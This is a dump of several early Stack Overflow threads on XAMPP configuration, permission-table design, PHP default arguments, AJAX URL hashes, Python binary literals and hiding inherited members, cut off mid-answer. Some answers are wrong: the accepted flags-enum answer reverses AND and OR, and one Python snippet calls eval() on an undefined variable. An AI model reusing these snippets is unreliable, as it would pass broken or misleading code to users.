Ok, per [pix0r](https://stackoverflow.com/questions/1408/#2471)'s, [Sparks](https://stackoverflow.com/questions/1408/#1413)' and [Dave](https://stackoverflow.com/questions/1408/#1414)'s answers it looks like there are three ways to do this: --- [Virtual Hosts](https://stackoverflow.com/questions/1408/#2471) --------------------------------------------------------------- 1. Open C:\xampp\apache\conf\extra\httpd-vhosts.conf. 2. Un-comment ~line 19 (`NameVirtualHost *:80`). 3. Add your virtual host (~line 36): ``` <VirtualHost *:80> DocumentRoot C:\Projects\transitCalculator\trunk ServerName transitcalculator.localhost <Directory C:\Projects\transitCalculator\trunk> Order allow,deny Allow from all </Directory> </VirtualHost> ``` 4. Open your hosts file (C:\Windows\System32\drivers\etc\hosts). 5. Add ``` 127.0.0.1 transitcalculator.localhost #transitCalculator ``` to the end of the file (before the Spybot - Search & Destroy stuff if you have that installed). 6. Save (You might have to save it to the desktop, change the permissions on the old hosts file (right click > properties), and copy the new one into the directory over the old one (or rename the old one) if you are using Vista and have trouble). 7. Restart Apache. Now you can access that directory by browsing to <http://transitcalculator.localhost/>. --- [Make an Alias](https://stackoverflow.com/questions/1408/#1413) --------------------------------------------------------------- 1. Starting ~line 200 of your `http.conf` file, copy everything between `<Directory "C:/xampp/htdocs">` and `</Directory>` (~line 232) and paste it immediately below with `C:/xampp/htdocs` replaced with your desired directory (in this case `C:/Projects`) to give your server the correct permissions for the new directory. 2. Find the `<IfModule alias_module></IfModule>` section (~line 300) and add ``` Alias /transitCalculator "C:/Projects/transitCalculator/trunk" ``` (or whatever is relevant to your desires) below the `Alias` comment block, inside the module tags. --- [Change your document root](https://stackoverflow.com/questions/1408/#1414) --------------------------------------------------------------------------- 1. Edit ~line 176 in C:\xampp\apache\conf\httpd.conf; change `DocumentRoot "C:/xampp/htdocs"` to `#DocumentRoot "C:/Projects"` (or whatever you want). 2. Edit ~line 203 to match your new location (in this case `C:/Projects`). --- **Notes:** * You have to use forward slashes "/" instead of back slashes "\". * Don't include the trailing "/" at the end. * *restart your server*.
1,451
<p>I often encounter the following scenario where I need to offer many different types of permissions. I primarily use ASP.NET / VB.NET with SQL Server 2000.</p> <p><strong>Scenario</strong></p> <p>I want to offer a dynamic permission system that can work on different parameters. Let's say that I want to give either a department or just a specific person access to an application. And pretend that we have a number of applications that keeps growing.</p> <p>In the past, I have chosen one of the following two ways that I know to do this.</p> <ol> <li><p>Use a single permission table with special columns that are used for determining a how to apply the parameters. The special columns in this example are <code>TypeID</code> and <code>TypeAuxID</code>. The SQL would look something like this.</p> <pre><code>SELECT COUNT(PermissionID) FROM application_permissions WHERE (TypeID = 1 AND TypeAuxID = @UserID) OR (TypeID = 2 AND TypeAuxID = @DepartmentID) AND ApplicationID = 1 </code></pre> </li> <li><p>Use a mapping table for each type of permission, then joining them all together.</p> <pre><code>SELECT COUNT(perm.PermissionID) FROM application_permissions perm LEFT JOIN application_UserPermissions emp ON perm.ApplicationID = emp.ApplicationID LEFT JOIN application_DepartmentPermissions dept ON perm.ApplicationID = dept.ApplicationID WHERE q.SectionID=@SectionID AND (emp.UserID=@UserID OR dept.DeptID=@DeptID OR (emp.UserID IS NULL AND dept.DeptID IS NULL)) AND ApplicationID = 1 ORDER BY q.QID ASC </code></pre> </li> </ol> <p><strong>My Thoughts</strong></p> <p>I hope that the examples make sense. I cobbled them together.</p> <p>The first example requires less work, but neither of them feel like the best answer. Is there a better way to handle this?</p>
[ { "answer_id": 1459, "author": "John Downey", "author_id": 200, "author_profile": "https://Stackoverflow.com/users/200", "pm_score": 4, "selected": false, "text": "<p>The way I typically go about coding permission systems is having 6 tables.</p>\n\n<ul>\n<li>Users - this is pretty straight forward it is your typical users table</li>\n<li>Groups - this would be synonymous to your departments</li>\n<li>Roles - this is a table with all permissions generally also including a human readable name and a description</li>\n<li>Users_have_Groups - this is a many-to-many table of what groups a user belongs to</li>\n<li>Users_have_Roles - another many-to-many table of what roles are assigned to an individual user</li>\n<li>Groups_have_Roles - the final many-to-many table of what roles each group has</li>\n</ul>\n\n<p>At the beginning of a users session you would run some logic that pulls out every role they have assigned, either directory or through a group. Then you code against those roles as your security permissions.</p>\n\n<p>Like I said this is what I typically do but your millage may vary.</p>\n" }, { "answer_id": 1466, "author": "tags2k", "author_id": 192, "author_profile": "https://Stackoverflow.com/users/192", "pm_score": 0, "selected": false, "text": "<p>An approach I've used in various applications is to have a generic PermissionToken class which has a changeable Value property. Then you query the requested application, it tells you which PermissionTokens are needed in order to use it.</p>\n\n<p>For example, the Shipping application might tell you it needs:</p>\n\n<pre><code>new PermissionToken()\n{\n Target = PermissionTokenTarget.Application,\n Action = PermissionTokenAction.View,\n Value = \"ShippingApp\"\n};\n</code></pre>\n\n<p>This can obviously be extended to Create, Edit, Delete etc and, because of the custom Value property, any application, module or widget can define its own required permissions. YMMV, but this has always been an efficient method for me which I have found to scale well.</p>\n" }, { "answer_id": 1477, "author": "jdecuyper", "author_id": 296, "author_profile": "https://Stackoverflow.com/users/296", "pm_score": 5, "selected": true, "text": "<p>I agree with John Downey.</p>\n<p>Personally, I sometimes use a flagged enumeration of permissions. This way you can use AND, OR, NOT and XOR bitwise operations on the enumeration's items.</p>\n<pre><code>&quot;[Flags]\npublic enum Permission\n{\n VIEWUSERS = 1, // 2^0 // 0000 0001\n EDITUSERS = 2, // 2^1 // 0000 0010\n VIEWPRODUCTS = 4, // 2^2 // 0000 0100\n EDITPRODUCTS = 8, // 2^3 // 0000 1000\n VIEWCLIENTS = 16, // 2^4 // 0001 0000\n EDITCLIENTS = 32, // 2^5 // 0010 0000\n DELETECLIENTS = 64, // 2^6 // 0100 0000\n}&quot;\n</code></pre>\n<p>Then, you can combine several permissions using the AND bitwise operator. <br /><br />\nFor example, if a user can view &amp; edit users, the binary result of the operation is 0000 0011 which converted to decimal is 3. <br />\nYou can then store the permission of one user into a single column of your Database (in our case it would be 3).<br /><br />\nInside your application, you just need another bitwise operation (OR) to verify if a user has a particular permission or not.</p>\n" }, { "answer_id": 1488, "author": "Greg Hurlman", "author_id": 35, "author_profile": "https://Stackoverflow.com/users/35", "pm_score": 2, "selected": false, "text": "<p>In addition to John Downey and jdecuyper's solutions, I've also added an \"Explicit Deny\" bit at the end/beginning of the bitfield, so that you can perform additive permissions by group, role membership, and then subtract permissions based upon explicit deny entries, much like NTFS works, permission-wise.</p>\n" }, { "answer_id": 4301, "author": "Shawn", "author_id": 26, "author_profile": "https://Stackoverflow.com/users/26", "pm_score": 2, "selected": false, "text": "<p>Honestly the ASP.NET Membership / Roles features would work perfectly for the scenario you described. Writing your own tables / procs / classes is a great exercise and you can get very nice control over minute details, but after doing this myself I've concluded it's better to just use the built in .NET stuff. A lot of existing code is designed to work around it which is nice at well. Writing from scratch took me about 2 weeks and it was no where near as robust as .NETs. You have to code so much crap (password recovery, auto lockout, encryption, roles, a permission interface, tons of procs, etc) and the time could be better spent elsewhere.</p>\n\n<p>Sorry if I didn't answer your question, I'm like the guy who says to learn c# when someone asks a vb question.</p>\n" } ]
2008/08/04
[ "https://Stackoverflow.com/questions/1451", "https://Stackoverflow.com", "https://Stackoverflow.com/users/106/" ]
I often encounter the following scenario where I need to offer many different types of permissions. I primarily use ASP.NET / VB.NET with SQL Server 2000. **Scenario** I want to offer a dynamic permission system that can work on different parameters. Let's say that I want to give either a department or just a specific person access to an application. And pretend that we have a number of applications that keeps growing. In the past, I have chosen one of the following two ways that I know to do this. 1. Use a single permission table with special columns that are used for determining a how to apply the parameters. The special columns in this example are `TypeID` and `TypeAuxID`. The SQL would look something like this. ``` SELECT COUNT(PermissionID) FROM application_permissions WHERE (TypeID = 1 AND TypeAuxID = @UserID) OR (TypeID = 2 AND TypeAuxID = @DepartmentID) AND ApplicationID = 1 ``` 2. Use a mapping table for each type of permission, then joining them all together. ``` SELECT COUNT(perm.PermissionID) FROM application_permissions perm LEFT JOIN application_UserPermissions emp ON perm.ApplicationID = emp.ApplicationID LEFT JOIN application_DepartmentPermissions dept ON perm.ApplicationID = dept.ApplicationID WHERE q.SectionID=@SectionID AND (emp.UserID=@UserID OR dept.DeptID=@DeptID OR (emp.UserID IS NULL AND dept.DeptID IS NULL)) AND ApplicationID = 1 ORDER BY q.QID ASC ``` **My Thoughts** I hope that the examples make sense. I cobbled them together. The first example requires less work, but neither of them feel like the best answer. Is there a better way to handle this?
I agree with John Downey. Personally, I sometimes use a flagged enumeration of permissions. This way you can use AND, OR, NOT and XOR bitwise operations on the enumeration's items. ``` "[Flags] public enum Permission { VIEWUSERS = 1, // 2^0 // 0000 0001 EDITUSERS = 2, // 2^1 // 0000 0010 VIEWPRODUCTS = 4, // 2^2 // 0000 0100 EDITPRODUCTS = 8, // 2^3 // 0000 1000 VIEWCLIENTS = 16, // 2^4 // 0001 0000 EDITCLIENTS = 32, // 2^5 // 0010 0000 DELETECLIENTS = 64, // 2^6 // 0100 0000 }" ``` Then, you can combine several permissions using the AND bitwise operator. For example, if a user can view & edit users, the binary result of the operation is 0000 0011 which converted to decimal is 3. You can then store the permission of one user into a single column of your Database (in our case it would be 3). Inside your application, you just need another bitwise operation (OR) to verify if a user has a particular permission or not.
1,453
<p>I'm trying to do this (which produces an unexpected T_VARIABLE error):</p> <pre><code>public function createShipment($startZip, $endZip, $weight = $this-&gt;getDefaultWeight()){} </code></pre> <p>I don't want to put a magic number in there for weight since the object I am using has a <code>"defaultWeight"</code> parameter that all new shipments get if you don't specify a weight. I can't put the <code>defaultWeight</code> in the shipment itself, because it changes from shipment group to shipment group. Is there a better way to do it than the following?</p> <pre><code>public function createShipment($startZip, $endZip, weight = 0){ if($weight &lt;= 0){ $weight = $this-&gt;getDefaultWeight(); } } </code></pre>
[ { "answer_id": 1456, "author": "Kevin", "author_id": 40, "author_profile": "https://Stackoverflow.com/users/40", "pm_score": 5, "selected": true, "text": "<p>This isn't much better:</p>\n\n<pre><code>public function createShipment($startZip, $endZip, $weight=null){\n $weight = !$weight ? $this-&gt;getDefaultWeight() : $weight;\n}\n\n// or...\n\npublic function createShipment($startZip, $endZip, $weight=null){\n if ( !$weight )\n $weight = $this-&gt;getDefaultWeight();\n}\n</code></pre>\n" }, { "answer_id": 2213, "author": "pix0r", "author_id": 72, "author_profile": "https://Stackoverflow.com/users/72", "pm_score": 1, "selected": false, "text": "<p>This will allow you to pass a weight of 0 and still work properly. Notice the === operator, this checks to see if weight matches \"null\" in both value and type (as opposed to ==, which is just value, so 0 == null == false).</p>\n\n<p>PHP:</p>\n\n<pre><code>public function createShipment($startZip, $endZip, $weight=null){\n if ($weight === null)\n $weight = $this-&gt;getDefaultWeight();\n}\n</code></pre>\n" }, { "answer_id": 31495, "author": "paan", "author_id": 2976, "author_profile": "https://Stackoverflow.com/users/2976", "pm_score": 1, "selected": false, "text": "<p>You can use a static class member to hold the default:</p>\n\n<pre><code>class Shipment\n{\n public static $DefaultWeight = '0';\n public function createShipment($startZip,$endZip,$weight=Shipment::DefaultWeight) {\n // your function\n }\n}\n</code></pre>\n" }, { "answer_id": 31831, "author": "Michał Niedźwiedzki", "author_id": 2169, "author_profile": "https://Stackoverflow.com/users/2169", "pm_score": 3, "selected": false, "text": "<p>Neat trick with Boolean OR operator:</p>\n<pre><code>public function createShipment($startZip, $endZip, $weight = 0){\n $weight or $weight = $this-&gt;getDefaultWeight();\n ...\n}\n</code></pre>\n" }, { "answer_id": 56441212, "author": "Ivan Castellanos", "author_id": 800817, "author_profile": "https://Stackoverflow.com/users/800817", "pm_score": 0, "selected": false, "text": "<p>Improving upon Kevin's answer if you are using PHP 7 you may do:</p>\n\n<pre><code>public function createShipment($startZip, $endZip, $weight=null){\n $weight = $weight ?: $this-&gt;getDefaultWeight();\n}\n</code></pre>\n" } ]
2008/08/04
[ "https://Stackoverflow.com/questions/1453", "https://Stackoverflow.com", "https://Stackoverflow.com/users/58/" ]
I'm trying to do this (which produces an unexpected T\_VARIABLE error): ``` public function createShipment($startZip, $endZip, $weight = $this->getDefaultWeight()){} ``` I don't want to put a magic number in there for weight since the object I am using has a `"defaultWeight"` parameter that all new shipments get if you don't specify a weight. I can't put the `defaultWeight` in the shipment itself, because it changes from shipment group to shipment group. Is there a better way to do it than the following? ``` public function createShipment($startZip, $endZip, weight = 0){ if($weight <= 0){ $weight = $this->getDefaultWeight(); } } ```
This isn't much better: ``` public function createShipment($startZip, $endZip, $weight=null){ $weight = !$weight ? $this->getDefaultWeight() : $weight; } // or... public function createShipment($startZip, $endZip, $weight=null){ if ( !$weight ) $weight = $this->getDefaultWeight(); } ```
1,457
<p>I'm writing an AJAX app, but as the user moves through the app, I'd like the URL in the address bar to update despite the lack of page reloads. Basically, I'd like for them to be able to bookmark at any point and thereby return to the current state. </p> <p>How are people handling maintaining RESTfulness in AJAX apps? </p>
[ { "answer_id": 1465, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 4, "selected": false, "text": "<p>This is similar to what Kevin said. You can have your client state as some javascript object, and when you want to save the state, you serialize the object (using JSON and base64 encoding). You can then set the fragment of the href to this string.</p>\n\n<pre><code>var encodedState = base64(json(state));\nvar newLocation = oldLocationWithoutFragment + \"#\" + encodedState;\n\ndocument.location = newLocation; // adds new entry in browser history\ndocument.location.replace(newLocation); // replaces current entry in browser history\n</code></pre>\n\n<p>The first way will treat the new state as a new location (so the back button will take them to the previous location). The latter does not.</p>\n" }, { "answer_id": 1468, "author": "Dave Ward", "author_id": 60, "author_profile": "https://Stackoverflow.com/users/60", "pm_score": 8, "selected": true, "text": "<p>The way to do this is to manipulate <code>location.hash</code> when AJAX updates result in a state change that you'd like to have a discrete URL. For example, if your page's url is:</p>\n\n<blockquote>\n <p><a href=\"http://example.com/\" rel=\"nofollow noreferrer\">http://example.com/</a></p>\n</blockquote>\n\n<p>If a client side function executed this code:</p>\n\n<pre><code>// AJAX code to display the \"foo\" state goes here.\n\nlocation.hash = 'foo';\n</code></pre>\n\n<p>Then, the URL displayed in the browser would be updated to:</p>\n\n<blockquote>\n <p><a href=\"http://example.com/#foo\" rel=\"nofollow noreferrer\">http://example.com/#foo</a></p>\n</blockquote>\n\n<p>This allows users to bookmark the \"foo\" state of the page, and use the browser history to navigate between states.</p>\n\n<p>With this mechanism in place, you'll then need to parse out the hash portion of the URL on the client side using JavaScript to create and display the appropriate initial state, as fragment identifiers (the part after the #) are not sent to the server.</p>\n\n<p><a href=\"http://benalman.com/projects/jquery-hashchange-plugin/\" rel=\"nofollow noreferrer\">Ben Alman's hashchange plugin</a> makes the latter a breeze if you're using jQuery.</p>\n" }, { "answer_id": 37966, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "<p>SWFAddress works in Flash &amp; Javascript projects and lets you create bookmarkable URLs (using the hash method mentioned above) as well as giving you back-button support.</p>\n\n<p><a href=\"http://www.asual.com/swfaddress/\" rel=\"nofollow noreferrer\">http://www.asual.com/swfaddress/</a></p>\n" }, { "answer_id": 700173, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "<p>The window.location.hash method is the preferred way of doing things. For an explanation of how to do it, \n<a href=\"http://ajaxpatterns.org/Unique_URLs\" rel=\"nofollow noreferrer\">Ajax Patterns - Unique URLs</a>.</p>\n\n<p>YUI has an implementation of this pattern as a module, which includes IE specific work arounds for getting the back button working along with re-writing the address using the hash. <a href=\"http://developer.yahoo.com/yui/history/\" rel=\"nofollow noreferrer\">YUI Browser History Manager</a>.</p>\n\n<p>Other frameworks have similar implementations as well. The important point is if you want the history to work along with the re-writing the address, the different browsers need different ways of handling it. (This is detailed in the first link article.) </p>\n\n<p>IE needs an iframe based hack, where Firefox will produce double history using the same method.</p>\n" }, { "answer_id": 3928831, "author": "Marcelo", "author_id": 475145, "author_profile": "https://Stackoverflow.com/users/475145", "pm_score": 2, "selected": false, "text": "<p>Check if user is 'in' the page, when you click on the URL bar, JavaScript says you are out of page.\nIf you change the URL bar and press 'ENTER' with the symbol '#' within it then you go into the page again, without click on the page manually with mouse cursor, then a keyboard event command (document.onkeypress) from JavaScript will be able to check if it's enter and active the JavaScript for redirection.\nYou can check if user is IN the page with window.onfocus and check if he's out with window.onblur.</p>\n<p>Yeah, it's possible.</p>\n<p>;)</p>\n" }, { "answer_id": 4986440, "author": "daniel.wright", "author_id": 439630, "author_profile": "https://Stackoverflow.com/users/439630", "pm_score": 4, "selected": false, "text": "<p>Look at sites like book.cakephp.org. This site changes the URL without using the hash and use AJAX. I'm not sure how it does it exactly but I've been trying to figure it out. If anyone knows, let me know.</p>\n\n<p>Also github.com when looking at a navigating within a certain project.</p>\n" }, { "answer_id": 5801109, "author": "iesus", "author_id": 726784, "author_profile": "https://Stackoverflow.com/users/726784", "pm_score": 4, "selected": false, "text": "<p>It is unlikely the writer wants to reload or redirect his visitor when using Ajax.\nBut why not use HTML5's <code>pushState</code>/<code>replaceState</code>?</p>\n\n<p>You'll be able to modify the addressbar as much as you like. <a href=\"https://www.w3.org/TR/2010/WD-html5-20100624/history.html#history\" rel=\"nofollow noreferrer\">Get natural looking urls, with AJAX.</a></p>\n\n<p>Check out the code on my latest project: \n<a href=\"http://iesus.se/\" rel=\"nofollow noreferrer\">http://iesus.se/</a></p>\n" }, { "answer_id": 6451853, "author": "Neil", "author_id": 181284, "author_profile": "https://Stackoverflow.com/users/181284", "pm_score": 2, "selected": false, "text": "<p>If OP or others are still looking for a way to do modify browser history to enable state, using pushState and replaceState, as suggested by IESUS, is the 'right' way to do it now. It's main advantage over location.hash seems to be that it creates actual URLs, not just hashes. If browser history using hashes is saved, and then revisited with JavaScript disabled, the app won't work, since the hashes aren't sent to the server. However, if pushState has been used, the entire route will be sent to the server, which you can then build to respond appropriately to the routes. I saw an example where the same mustache templates were used on both the server and the client side. If the client had JavaScript enabled, he would get snappy responses by avoiding the roundtrip to the server, but the app would work perfectly fine without the JavaScript. Thus, the app can gracefully degrade in the absence of JavaScript.</p>\n<p>Also, I believe there is some framework out there, with a name like history.js. For browsers that support HTML5, it uses pushState, but if the browser doesn't support that, it automatically falls back to using hashes.</p>\n" } ]
2008/08/04
[ "https://Stackoverflow.com/questions/1457", "https://Stackoverflow.com", "https://Stackoverflow.com/users/331/" ]
I'm writing an AJAX app, but as the user moves through the app, I'd like the URL in the address bar to update despite the lack of page reloads. Basically, I'd like for them to be able to bookmark at any point and thereby return to the current state. How are people handling maintaining RESTfulness in AJAX apps?
The way to do this is to manipulate `location.hash` when AJAX updates result in a state change that you'd like to have a discrete URL. For example, if your page's url is: > > <http://example.com/> > > > If a client side function executed this code: ``` // AJAX code to display the "foo" state goes here. location.hash = 'foo'; ``` Then, the URL displayed in the browser would be updated to: > > <http://example.com/#foo> > > > This allows users to bookmark the "foo" state of the page, and use the browser history to navigate between states. With this mechanism in place, you'll then need to parse out the hash portion of the URL on the client side using JavaScript to create and display the appropriate initial state, as fragment identifiers (the part after the #) are not sent to the server. [Ben Alman's hashchange plugin](http://benalman.com/projects/jquery-hashchange-plugin/) makes the latter a breeze if you're using jQuery.
1,476
<p>How do you express an integer as a binary number with Python literals?</p> <p>I was easily able to find the answer for hex:</p> <pre><code>&gt;&gt;&gt; 0x12AF 4783 &gt;&gt;&gt; 0x100 256 </code></pre> <p>and octal:</p> <pre><code>&gt;&gt;&gt; 01267 695 &gt;&gt;&gt; 0100 64 </code></pre> <p><strong>How do you use literals to express binary in Python?</strong></p> <hr> <p><strong><em>Summary of Answers</em></strong></p> <ul> <li>Python 2.5 and earlier: can express binary using <code>int('01010101111',2)</code> but not with a literal.</li> <li>Python 2.5 and earlier: there is <em>no way</em> to express binary literals.</li> <li>Python 2.6 beta: You can do like so: <code>0b1100111</code> or <code>0B1100111</code>.</li> <li>Python 2.6 beta: will also allow <code>0o27</code> or <code>0O27</code> (second character is the letter O) to represent an octal.</li> <li>Python 3.0 beta: Same as 2.6, but will no longer allow the older <code>027</code> syntax for octals.</li> </ul>
[ { "answer_id": 1478, "author": "Mark Biek", "author_id": 305, "author_profile": "https://Stackoverflow.com/users/305", "pm_score": -1, "selected": false, "text": "<p>As far as I can tell Python, up through 2.5, only supports hexadecimal &amp; octal literals. I did find some discussions about adding binary to future versions but nothing definite.</p>\n" }, { "answer_id": 1479, "author": "sparkes", "author_id": 269, "author_profile": "https://Stackoverflow.com/users/269", "pm_score": -1, "selected": false, "text": "<p>I am pretty sure this is one of the things due to change in Python 3.0 with perhaps bin() to go with hex() and oct().</p>\n\n<p>EDIT:\nlbrandy's answer is correct in all cases.</p>\n" }, { "answer_id": 1484, "author": "Louis Brandy", "author_id": 2089740, "author_profile": "https://Stackoverflow.com/users/2089740", "pm_score": 6, "selected": false, "text": "<pre><code>&gt;&gt;&gt; print int('01010101111',2)\n687\n&gt;&gt;&gt; print int('11111111',2)\n255\n</code></pre>\n\n<p>Another way.</p>\n" }, { "answer_id": 13107, "author": "Andreas Thomas", "author_id": 1531, "author_profile": "https://Stackoverflow.com/users/1531", "pm_score": 9, "selected": true, "text": "<p>For reference&mdash;<em>future</em> Python possibilities:<br>\nStarting with Python 2.6 you can express binary literals using the prefix <strong>0b</strong> or <strong>0B</strong>:</p>\n\n<pre><code>&gt;&gt;&gt; 0b101111\n47\n</code></pre>\n\n<p>You can also use the new <strong>bin</strong> function to get the binary representation of a number:</p>\n\n<pre><code>&gt;&gt;&gt; bin(173)\n'0b10101101'\n</code></pre>\n\n<p>Development version of the documentation: <a href=\"http://docs.python.org/dev/whatsnew/2.6.html#pep-3127-integer-literal-support-and-syntax\" rel=\"noreferrer\">What's New in Python 2.6</a></p>\n" }, { "answer_id": 37226387, "author": "Russia Must Remove Putin", "author_id": 541136, "author_profile": "https://Stackoverflow.com/users/541136", "pm_score": 5, "selected": false, "text": "<blockquote>\n <h1>How do you express binary literals in Python?</h1>\n</blockquote>\n\n<p>They're not \"binary\" literals, but rather, \"integer literals\". You can express integer literals with a binary format with a <code>0</code> followed by a <code>B</code> or <code>b</code> followed by a series of zeros and ones, for example:</p>\n\n<pre><code>&gt;&gt;&gt; 0b0010101010\n170\n&gt;&gt;&gt; 0B010101\n21\n</code></pre>\n\n<p>From the Python 3 <a href=\"https://docs.python.org/3/reference/lexical_analysis.html#integer-literals\" rel=\"noreferrer\">docs</a>, these are the ways of providing integer literals in Python:</p>\n\n<blockquote>\n <p>Integer literals are described by the following lexical definitions:</p>\n\n<pre><code>integer ::= decinteger | bininteger | octinteger | hexinteger\ndecinteger ::= nonzerodigit ([\"_\"] digit)* | \"0\"+ ([\"_\"] \"0\")*\nbininteger ::= \"0\" (\"b\" | \"B\") ([\"_\"] bindigit)+\noctinteger ::= \"0\" (\"o\" | \"O\") ([\"_\"] octdigit)+\nhexinteger ::= \"0\" (\"x\" | \"X\") ([\"_\"] hexdigit)+\nnonzerodigit ::= \"1\"...\"9\"\ndigit ::= \"0\"...\"9\"\nbindigit ::= \"0\" | \"1\"\noctdigit ::= \"0\"...\"7\"\nhexdigit ::= digit | \"a\"...\"f\" | \"A\"...\"F\"\n</code></pre>\n \n <p>There is no limit for the length of integer literals apart from what\n can be stored in available memory.</p>\n \n <p>Note that leading zeros in a non-zero decimal number are not allowed.\n This is for disambiguation with C-style octal literals, which Python\n used before version 3.0.</p>\n \n <p>Some examples of integer literals:</p>\n\n<pre><code>7 2147483647 0o177 0b100110111\n3 79228162514264337593543950336 0o377 0xdeadbeef\n 100_000_000_000 0b_1110_0101\n</code></pre>\n \n <p><em>Changed in version 3.6:</em> Underscores are now allowed for grouping purposes in literals.</p>\n</blockquote>\n\n<h2>Other ways of expressing binary:</h2>\n\n<p>You can have the zeros and ones in a string object which can be manipulated (although you should probably just do bitwise operations on the integer in most cases) - just pass int the string of zeros and ones and the base you are converting from (2):</p>\n\n<pre><code>&gt;&gt;&gt; int('010101', 2)\n21\n</code></pre>\n\n<p>You can optionally have the <code>0b</code> or <code>0B</code> prefix:</p>\n\n<pre><code>&gt;&gt;&gt; int('0b0010101010', 2)\n170\n</code></pre>\n\n<p>If you pass it <code>0</code> as the base, it will assume base 10 if the string doesn't specify with a prefix:</p>\n\n<pre><code>&gt;&gt;&gt; int('10101', 0)\n10101\n&gt;&gt;&gt; int('0b10101', 0)\n21\n</code></pre>\n\n<h2>Converting from int back to human readable binary:</h2>\n\n<p>You can pass an integer to bin to see the string representation of a binary literal:</p>\n\n<pre><code>&gt;&gt;&gt; bin(21)\n'0b10101'\n</code></pre>\n\n<p>And you can combine <code>bin</code> and <code>int</code> to go back and forth:</p>\n\n<pre><code>&gt;&gt;&gt; bin(int('010101', 2))\n'0b10101'\n</code></pre>\n\n<p>You can use a format specification as well, if you want to have minimum width with preceding zeros:</p>\n\n<pre><code>&gt;&gt;&gt; format(int('010101', 2), '{fill}{width}b'.format(width=10, fill=0))\n'0000010101'\n&gt;&gt;&gt; format(int('010101', 2), '010b')\n'0000010101'\n</code></pre>\n" }, { "answer_id": 37955839, "author": "Mehmet Ugurbil", "author_id": 6496481, "author_profile": "https://Stackoverflow.com/users/6496481", "pm_score": 2, "selected": false, "text": "<p>0 in the start here specifies that the base is 8 (not 10), which is pretty easy to see: </p>\n\n<pre><code>&gt;&gt;&gt; int('010101', 0)\n4161\n</code></pre>\n\n<p>If you don't start with a 0, then python assumes the number is base 10.</p>\n\n<pre><code>&gt;&gt;&gt; int('10101', 0)\n10101\n</code></pre>\n" }, { "answer_id": 63297421, "author": "Novus Edge", "author_id": 14033284, "author_profile": "https://Stackoverflow.com/users/14033284", "pm_score": 1, "selected": false, "text": "<p>Another good method to get an integer representation from binary is to use eval()</p>\n<p>Like so:</p>\n<pre><code>def getInt(binNum = 0):\n return eval(eval('0b' + str(n)))\n</code></pre>\n<p>I guess this is a way to do it too.\nI hope this is a satisfactory answer :D</p>\n" }, { "answer_id": 65057066, "author": "Ranjeet R Patil", "author_id": 12415637, "author_profile": "https://Stackoverflow.com/users/12415637", "pm_score": 2, "selected": false, "text": "<p><strong>I've tried this in Python 3.6.9</strong></p>\n<p><strong>Convert Binary to Decimal</strong></p>\n<pre><code>&gt;&gt;&gt; 0b101111\n47\n\n&gt;&gt;&gt; int('101111',2)\n47\n</code></pre>\n<p><strong>Convert Decimal to binary</strong></p>\n<pre><code>&gt;&gt;&gt; bin(47)\n'0b101111'\n</code></pre>\n<p><strong>Place a 0 as the second parameter python assumes it as decimal.</strong></p>\n<pre><code>&gt;&gt;&gt; int('101111',0)\n101111\n</code></pre>\n" } ]
2008/08/04
[ "https://Stackoverflow.com/questions/1476", "https://Stackoverflow.com", "https://Stackoverflow.com/users/92/" ]
How do you express an integer as a binary number with Python literals? I was easily able to find the answer for hex: ``` >>> 0x12AF 4783 >>> 0x100 256 ``` and octal: ``` >>> 01267 695 >>> 0100 64 ``` **How do you use literals to express binary in Python?** --- ***Summary of Answers*** * Python 2.5 and earlier: can express binary using `int('01010101111',2)` but not with a literal. * Python 2.5 and earlier: there is *no way* to express binary literals. * Python 2.6 beta: You can do like so: `0b1100111` or `0B1100111`. * Python 2.6 beta: will also allow `0o27` or `0O27` (second character is the letter O) to represent an octal. * Python 3.0 beta: Same as 2.6, but will no longer allow the older `027` syntax for octals.
For reference—*future* Python possibilities: Starting with Python 2.6 you can express binary literals using the prefix **0b** or **0B**: ``` >>> 0b101111 47 ``` You can also use the new **bin** function to get the binary representation of a number: ``` >>> bin(173) '0b10101101' ``` Development version of the documentation: [What's New in Python 2.6](http://docs.python.org/dev/whatsnew/2.6.html#pep-3127-integer-literal-support-and-syntax)
1,528
<p>I'm looking for some way to effectively hide inherited members. I have a library of classes which inherit from common base classes. Some of the more recent descendant classes inherit dependency properties which have become vestigial and can be a little confusing when using <em>IntelliSense</em> or using the classes in a visual designer.</p> <p>These classes are all controls that are written to be compiled for either WPF or Silverlight 2.0. I know about <code>ICustomTypeDescriptor</code> and <code>ICustomPropertyProvider</code>, but I'm pretty certain those can't be used in Silverlight. </p> <p>It's not as much a functional issue as a usability issue. What should I do?</p> <p><strong>Update</strong></p> <p>Some of the properties that I would really like to hide come from ancestors that are not my own and because of a specific tool I'm designing for, I can't do member hiding with the <code>new</code> operator. (I know, it's ridiculous)</p>
[ { "answer_id": 1533, "author": "Michael Stum", "author_id": 91, "author_profile": "https://Stackoverflow.com/users/91", "pm_score": 4, "selected": false, "text": "<p>While you cannot prevent usage of those inherited members to my knowledge, you should be able to hide them from IntelliSense using the <a href=\"http://msdn.microsoft.com/en-us/library/system.componentmodel.editorbrowsableattribute.aspx\" rel=\"noreferrer\">EditorBrowsableAttribute</a>:</p>\n\n<pre><code>Using System.ComponentModel;\n\n[EditorBrowsable(EditorBrowsableState.Never)]\nprivate string MyHiddenString = \"Muahahahahahahahaha\";\n</code></pre>\n\n<p><em>Edit:</em> Just saw this in the documentation comments, which makes it kinda useless for this purpose:</p>\n\n<blockquote>\n <p>There is a prominent note that states that this attribute \"does not suppress members from a class in the same assembly\". That is true but not complete. Actually, the attribute does not suppress members from a class in the same solution.</p>\n</blockquote>\n" }, { "answer_id": 1534, "author": "Karl Seguin", "author_id": 34, "author_profile": "https://Stackoverflow.com/users/34", "pm_score": 3, "selected": false, "text": "<p>I think you're best least hackish way is to consider composition as opposed to inheritance.</p>\n\n<p>Or, you could create an interface that has the members you want, have your derived class implement that interface, and program against the interface.</p>\n" }, { "answer_id": 1536, "author": "Mike Stone", "author_id": 122, "author_profile": "https://Stackoverflow.com/users/122", "pm_score": 4, "selected": false, "text": "<p>One potential thing you can do is contain the object rather than extend from the other class. This will give you the most flexibility in terms of exposing what you want to expose, but if you absolutely need the object to be of that type it is not the ideal solution (however you could expose the object from a getter).</p>\n\n<p>Thus:</p>\n\n<pre><code>public class MyClass : BaseClass\n{\n // Your stuff 